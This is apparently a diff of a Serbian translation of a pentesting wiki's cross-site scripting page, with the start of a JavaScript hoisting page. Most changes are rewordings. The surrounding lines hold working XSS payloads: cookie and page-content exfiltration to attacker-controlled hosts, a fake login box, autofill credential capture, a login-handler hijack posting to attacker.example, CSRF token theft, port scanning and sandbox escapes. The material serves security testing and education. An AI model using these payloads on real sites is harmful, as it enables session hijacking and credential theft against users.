+Ako možete pokrenuti XSS tako što ćete poslati payload unutar cookie-a, to je obično self-XSS. Međutim, ako nađete **vulnerable subdomain to XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako izazovete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Možete pronaći odličan primer zloupotrebe ove tehnike u [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Primer značajne zloupotrebe ove tehnike možete naći u [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
 ### Sending your session to the admin
 
-Moguće je da korisnik podeli svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, admin će aktivirati ranjivost.
+Moguće je da korisnik podeli svoj profil sa adminom, i ako je self XSS u profilu korisnika i admin mu pristupi, on će aktivirati ranjivost.
 
 ### Session Mirroring
 
-Ako pronađete self XSS i web stranica ima **session mirroring for administrators**, na primer omogućavajući klijentima da traže pomoć, admin da bi vam pomogao videće ono što vi vidite u svojoj sesiji ali iz njegove sesije.
+Ako nađete self XSS i web stranica ima **session mirroring for administrators**, na primer omogućavajući klijentima da zatraže pomoć, da bi admin mogao da pomogne videće ono što vidite u svojoj sesiji ali iz svoje (adminove) sesije.
 
-Možete navesti **administrator trigger your self XSS** i ukrasti njegove cookies/session.
+Možete naterati **administrator trigger your self XSS** i ukrasti njegove cookies/session.
 
 ## Other Bypasses
 
 ### Normalised Unicode
 
-Možete proveriti da li su **reflected values** unicode normalized na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+Možete proveriti da li su **reflected values** unicode normalizovane na serveru (ili na klijentu) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -823,8 +824,8 @@ Možete proveriti da li su **reflected values** unicode normalized na serveru (i
 ```
 ### Ruby-On-Rails bypass
 
-Zbog **RoR mass assignment** navodnici se ubacuju u HTML i onda je ograničenje navodnika zaobiđeno i dodatna polja (onfocus) mogu se dodati unutar taga.\
-Primer formulara ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
+Zbog **RoR mass assignment** navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.\
+Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@@ -832,9 +833,9 @@ Par "Key","Value" biće vraćen ovako:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Zatim će atribut onfocus biti umetnut i doći će do XSS.
+Zatim će atribut onfocus biti umetnut i događa se XSS.
 
-### Specijalne kombinacije
+### Posebne kombinacije
 ```html
 <iframe/src="data:text/html,<svg onload=alert(1)>">
 <input type=image src onerror="prompt(1)">
@@ -864,24 +865,24 @@ Zatim će atribut onfocus biti umetnut i doći će do XSS.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS with header injection in a 302 response
+### XSS sa injekcijom header-a u 302 odgovoru
 
-Ako otkrijete da možete **inject headers in a 302 Redirect response** možete pokušati da **naterate browser da izvrši arbitrary JavaScript**. Ovo nije trivijalno jer moderni browser-i ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da sam cross-site scripting payload ne vredi.
+Ako otkrijete da možete **inject headers in a 302 Redirect response** možete pokušati da **make the browser execute arbitrary JavaScript**. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da je običan cross-site scripting payload beskoristan.
 
-U [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako da testirate nekoliko protokola unutar Location header-a i proverite da li neki od njih dozvoljava browser-u da pregleda i izvrši XSS payload unutar body-ja.\
-Do sada poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
+U [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako testirati nekoliko protokola unutar Location header-a i videti da li neki od njih omogućava browseru da pregleda i izvrši XSS payload iz tela odgovora.\
+Ranije poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazan Location header_, `resource://`.
 
-### Only Letters, Numbers and Dots
+### Samo slova, brojevi i tačke
 
-Ako možete navesti **callback** koji javascript treba da **execute** a koji je ograničen na ova slova/cifre/tačke. [**Read this section of this post**](#javascript-function) da biste saznali kako zloupotrebiti ovo ponašanje.
+Ako možete naznačiti **callback** koji će javascript **execute** ograničen samo na ta slova, brojeve i tačke. [**Read this section of this post**](#javascript-function) da biste saznali kako zloupotrebiti ovo ponašanje.
 
-### Valid `<script>` Content-Types to XSS
+### Podržani `<script>` Content-Types za XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate script sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao `application/octet-stream`, Chrome će baciti sledeću grešku:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Jedini **Content-Type**-ovi koji će omogućiti Chrome-u da pokrene **loaded script** su oni iz konstante **`kSupportedJavascriptTypes`** u [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Jedini **Content-Type**-ovi koji će podržati Chrome da izvrši **loaded script** su oni koji se nalaze unutar konstante **`kSupportedJavascriptTypes`** iz [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -903,16 +904,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Vrste skripti za XSS
+### Tipovi skripti za XSS
 
-(Iz [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koje tipove možete označiti da učitaju skriptu?
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti navedeni da bi se učitala skripta?
 ```html
 <script type="???"></script>
 ```
 Odgovor je:
 
-- **module** (podrazumevano, nema šta da se objašnjava)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcionalnost koja omogućava da spakujete skup podataka (HTML, CSS, JS…) u **`.wbn`** fajl.
+- **module** (podrazumevano, nema šta objašnjavati)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da spakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** fajl.
 ```html
 <script type="webbundle">
 {
@@ -939,9 +940,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da bi se remapovala library na eval, što se može zloupotrebiti da pokrene XSS.
+Ovo ponašanje je korišćeno u [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) da premapira biblioteku na eval, čija zloupotreba može izazvati XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je pretežno namenjena rešavanju problema prouzrokovanih pre-renderovanjem. Radi ovako:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je prvenstveno namenjena rešavanju nekih problema izazvanih pre-renderingom. Funkcioniše ovako:
 ```html
 <script type="speculationrules">
 {
@@ -959,7 +960,7 @@ Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/ya
 ```
 ### Web Content-Types za XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći content types mogu izvršiti XSS u svim pregledačima:
+(Iz [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu da izvrše XSS u svim preglednicima:
 
 - text/html
 - application/xhtml+xml
@@ -970,11 +971,11 @@ Ovo ponašanje je iskorišćeno u [**this writeup**](https://github.com/zwade/ya
 - application/rss+xml (off)
 - application/atom+xml (off)
 
-U drugim pregledačima drugi **`Content-Types`** mogu biti korišćeni za izvršavanje proizvoljnog JS, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+U drugim preglednicima drugi **`Content-Types`** se mogu iskoristiti za izvršavanje proizvoljnog JS-a, pogledajte: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### xml Content Type
+### xml tip sadržaja
 
-If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
+Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvršiti proizvoljan JS:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -984,9 +985,9 @@ If the page is returnin a text/xml content-type it's possible to indicate a name
 ```
 ### Specijalni obrasci zamene
 
-Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**, napadač može iskoristiti [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Napadač može koristiti [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) da pokuša zaobići neka zaštitna sredstva: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno za eskapiranje JSON stringa unutar skripte i izvršavanje proizvoljnog koda.
+Na primer, u [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da bi se **escape-ovao JSON string** unutar skripta i izvršio proizvoljan kod.
 
 ### Chrome Cache to XSS
 
@@ -997,7 +998,7 @@ chrome-cache-to-xss.md
 
 ### XS Jails Escape
 
-Ako imate ograničen skup karaktera za korišćenje, pogledajte ova druga validna rešenja za XSJail probleme:
+Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za XSJail probleme:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1028,22 +1029,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Ako je pre izvršavanja nepouzdanog koda **sve undefined** (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
+Ako je pre izvršavanja nepouzdanog koda **everything is undefined** (kao u [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte „iz ničega“ kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
 
 - Korišćenjem import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- Indirektno pristupanje `require`
+- Pristupanje `require` indirektno
 
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js umotava module unutar funkcije, ovako:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su od Node.js umotani unutar funkcije, ovako:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Dakle, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je iz te funkcije koristiti `arguments.callee.caller.arguments[1]` da pristupimo **`require`**:
+Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1052,7 +1053,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Na sličan način kao u prethodnom primeru, moguće je **use error handlers** za pristup **wrapper** modula i dobijanje **`require`** funkcije:
+Na sličan način kao u prethodnom primeru, moguće je **use error handlers** da se pristupi **wrapper** modula i dobije **`require`** funkciju:
 ```javascript
 try {
 null.f()
@@ -1097,7 +1098,7 @@ trigger()
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
-- More sofisticated JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+- Napredniji JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1271,7 +1272,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS uobičajeni payloads
+## XSS common payloads
 
 ### Više payloads u 1
 
@@ -1282,14 +1283,14 @@ steal-info-js.md
 
 ### Iframe Trap
 
-Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite njegove akcije (uključujući informacije poslate u obrascima):
+Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove radnje (uključujući informacije poslate u formularima):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Preuzimanje Cookies
+### Retrieve Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1312,8 +1313,8 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Nećete moći da pristupite cookies iz JavaScript-a ako je HTTPOnly flag postavljen u cookie-ju. Ali ovde imate [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ako imate dovoljno sreće.
-   
+> **Nećete moći da pristupite cookies iz JavaScript-a** ako je HTTPOnly flag postavljen u cookie. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako budete imali sreće.
+
 ### Krađa sadržaja stranice
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
@@ -1327,7 +1328,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### Pronađi interne IP adrese
+### Pronađite interne IP adrese
 ```html
 <script>
 var q = []
@@ -1384,7 +1385,7 @@ q.shift()()
 }
 </script>
 ```
-### Skener portova (fetch)
+### Port Scanner (fetch)
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
@@ -1403,15 +1404,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Kratka vremena ukazuju na port koji odgovara_ _Duža vremena ukazuju na izostanak odgovora._
+_Kratka vremena ukazuju na port koji odgovara_ _Duža vremena ukazuju na neodgovor._
 
 Pregledajte listu portova zabranjenih u Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Polje za unos kredencijala
+### Polje za traženje podataka za prijavu
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Hvatanje lozinki putem automatskog popunjavanja
+### Hvatanje lozinki iz automatskog popunjavanja
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1422,11 +1423,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Kada se bilo koji podatak unese u password field, username i password se šalju na attackers server; čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.
+Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated.
 
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-Ako je kritični handler (npr. `function DoLogin(){...}`) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. putem inline JS-in-JS sink), definišite `const` istog imena prvo da preduhitrite i zaključate handler. Kasnije function declarations ne mogu rebind a `const` name, ostavljajući vaš hook pod kontrolom:
+Ako je kritični handler (npr., `function DoLogin(){...}`) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši `const` istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati `const` ime, ostavljajući tvoj hook pod kontrolom:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1434,21 +1435,21 @@ const user = Trim(FormInput.InputUtente.value);
 fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
 };
 ```
-Napomene
-- Ovo se oslanja na redosled izvršavanja: tvoj injekcioni kod mora da se izvrši pre legitimne deklaracije.
-- Ako je tvoj payload obavijen u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristi dinamičku `<script>` injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” da obezbediš pravi globalni, neponovno-veziv (non-rebindable) binding.
-- Kada filteri po ključnim rečima blokiraju kod, kombinuј ih sa Unicode-escaped identifikatorima ili `eval(atob('...'))` isporukom, kao što je prikazano gore.
+Notes
+- Ovo zavisi od reda izvršavanja: vaša injekcija mora biti izvršena pre legitimne deklaracije.
+- Ako je vaš payload zamotan u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristite dinamičku `<script>` injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” kako biste obezbedili pravi globalni binding koji se ne može ponovo vezati.
+- Kada filteri po ključnim rečima blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili isporukom preko `eval(atob('...'))`, kao što je prikazano gore.
 
 ### Keylogger
 
-Samo pretragom na github-u našao sam nekoliko različitih:
+Samo pretragom na github-u pronašao sam nekoliko različitih:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- You can also use metasploit `http_javascript_keylogger`
+- Takođe možete koristiti metasploit `http_javascript_keylogger`
 
-### Stealing CSRF tokens
+### Krađa CSRF tokena
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1494,7 +1495,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
 
 ### Blind XSS payloads
 
-Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
+Takođe možete koristiti: [https://xsshunter.com/](https://xsshunter.com)
 ```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
@@ -1561,7 +1562,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Pristup skrivenom sadržaju
 
-Iz [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) može se saznati da čak i ako neke vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos za REGEX se i dalje može pronaći nakon što je vrednost unosa regex-a uklonjena:
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1578,18 +1579,18 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force lista
+### Brute-Force List
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS zloupotreba drugih ranjivosti
+## XSS - iskorišćavanje drugih ranjivosti
 
-### XSS in Markdown
+### XSS u Markdown
 
-Možeš li ubaciti Markdown kod koji će biti renderovan? Možda možeš dobiti XSS! Proveri:
+Može li se ubaciti Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proveri:
 
 
 {{#ref}}
@@ -1598,24 +1599,24 @@ xss-in-markdown.md
 
 ### XSS u SSRF
 
-Imaš XSS na sajtu koji koristi keširanje? Pokušaj to nadograditi u SSRF putem Edge Side Include Injection koristeći ovaj payload:
+Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi ga na SSRF** kroz Edge Side Include Injection sa ovim payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Iskoristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\
+Koristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\  
 Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### XSS in dynamic created PDF
+### XSS u dinamički kreiranom PDF-u
 
-Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da **prevarite bota** koji kreira PDF da **izvrši proizvoljan JS kod**.\
-Dakle, ako **PDF creator bot finds** neku vrstu **HTML** **tags**, on će ih **interpretirati**, i možete **abuse** ovo ponašanje da izazovete **Server XSS**.
+Ako web stranica kreira PDF koristeći unos koji kontroliše korisnik, možete pokušati da **prevarite bota** koji kreira PDF da počne sa **izvršavanjem proizvoljnog JS koda**.\  
+Dakle, ako **PDF creator bot pronađe** neke **HTML** **tagove**, on će ih **interpretirati**, i možete ovo **iskoristiti** da prouzrokujete **Server XSS**.
 
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Ako ne možete da ubacite **HTML** **tags** možda vredi pokušati da **inject PDF data**:
+Ako ne možete da injektujete HTML tagove, možda vredi pokušati da **injektujete PDF podatke**:
 
 
 {{#ref}}
@@ -1624,15 +1625,15 @@ pdf-injection.md
 
 ### XSS in Amp4Email
 
-AMP, usmeren na ubrzavanje performansi web stranica na mobilnim uređajima, uključuje HTML tags dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Pruža niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, namenjen ubrzavanju performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa fokusom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format proširuje specifične AMP komponente na emails, omogućavajući primaocima da direktno u svojim emailovima interaguju sa sadržajem.
+The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
 
-Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Primer [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
 ### XSS uploading files (svg)
 
-Uploadujte kao sliku fajl poput sledećeg (iz [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1688,7 +1689,7 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-Pronađite **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Pronađi **više SVG payloads na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
 ## Razni JS trikovi i relevantne informacije
 
@@ -1697,7 +1698,7 @@ Pronađite **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet
 other-js-tricks.md
 {{#endref}}
 
-## Resursi za XSS
+## XSS resursi
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -4,29 +4,29 @@
 
 ## Osnovne informacije
 
-U jeziku JavaScript opisuje se mehanizam poznat kao **Hoisting**, pri kojem se deklaracije promenljivih, funkcija, klasa ili imports konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
+U jeziku JavaScript postoji mehanizam poznat kao **Hoisting** gde se deklaracije promenljivih, funkcija, klasa ili import-a konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
 
-Tokom prvog prolaza, engine parsira kod da bi proverio sintaksne greške i transformisao ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako faza parsiranja uspe, što znači da nema sintaksnih grešaka, izvršavanje skripte može da se nastavi.
+Tokom prvog prolaza, engine parsira kod da proveri sintaksne greške i transformiše ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces gde se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako je faza parsiranja uspešna, što znači da nema sintaksnih grešaka, izvršavanje skripte se nastavlja.
 
 Važno je razumeti da:
 
-1. Skripta mora biti bez sintaksnih grešaka da bi se izvršila. Pravila sintakse moraju biti striktno poštovana.
-2. Pozicija koda u okviru skripte utiče na izvršavanje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
+1. Skripta mora biti bez sintaksnih grešaka da bi došlo do izvršenja. Pravila sintakse moraju biti strogo poštovana.
+2. Pozicioniranje koda unutar skripte utiče na izvršenje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
 
-#### Tipovi Hoistinga
+#### Tipovi hoistinga
 
